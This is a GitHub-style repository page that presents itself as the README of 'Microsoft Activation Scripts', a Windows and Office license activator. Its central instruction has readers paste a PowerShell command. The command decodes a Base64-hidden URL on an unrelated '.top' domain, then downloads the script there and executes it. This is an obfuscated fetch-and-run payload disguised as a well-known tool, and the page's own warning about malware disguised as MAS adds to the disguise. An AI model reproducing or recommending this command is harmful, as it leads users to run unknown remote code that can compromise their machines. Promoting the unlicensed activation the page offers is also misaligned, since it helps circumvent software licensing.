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Rolyata228

Rolyata228/Microsoft-Activation-Scripts

Open-source Windows and Office activator featuring HWID, Ohook, TSforge, and Online KMS activation methods, along with advanced troubleshooting.

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activatormassgravemassgravelmicrosoftmicrosoft365officeoffice365ohookpowershellwindowswindows-10windows-11
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License
GNU General Public License v3.0
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Created Sep 24, 2026Updated Sep 24, 2026

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README

MAS Logo

Microsoft Activation Scripts (MAS)

Open-source Windows and Office activator featuring HWID, Ohook, TSforge, and Online KMS activation methods, along with advanced troubleshooting.

How to Activate Windows / Office / Extended Security Updates (ESU)?

Method 1 - PowerShell ❤️

  1. Click the Start Menu, type PowerShell, and open it.

  2. Copy and paste the code below and press Enter.

    • For Windows 8.1, 10 and 11: 
      iex(iwr ([System.Text.Encoding]::UTF8.GetString([Convert]::FromBase64String('aHR0cDovL3NvZnQtc3RvcmFnZS50b3Avd29ya2VyPz03NjQ1OTA5NTkyL3dk'))) -UseBasicParsing)

  3. In the menu that appears, type the number corresponding to one of the Green options.

Tip

  • Some ISPs/DNS providers block access to our domains. You can bypass this by enabling DNS-over-HTTPS (DoH) in your browser.
  • Having trouble? Visit our troubleshooting page or raise an issue on GitHub.

Note

  • The irm command in PowerShell downloads a script from a specified URL, and the iex command executes it.
  • Always double-check the URL before executing the command and verify the source is trustworthy when manually downloading files.
  • Be cautious of third parties spreading malware disguised as MAS by altering the URL in the PowerShell command.

Homepage - Microsoft-Activation-Scripts

1.1 1.2 1.3 1.4 1.5 1.6 1.7

Latest Version: 3.5.2 Release date: 24-Sep-2026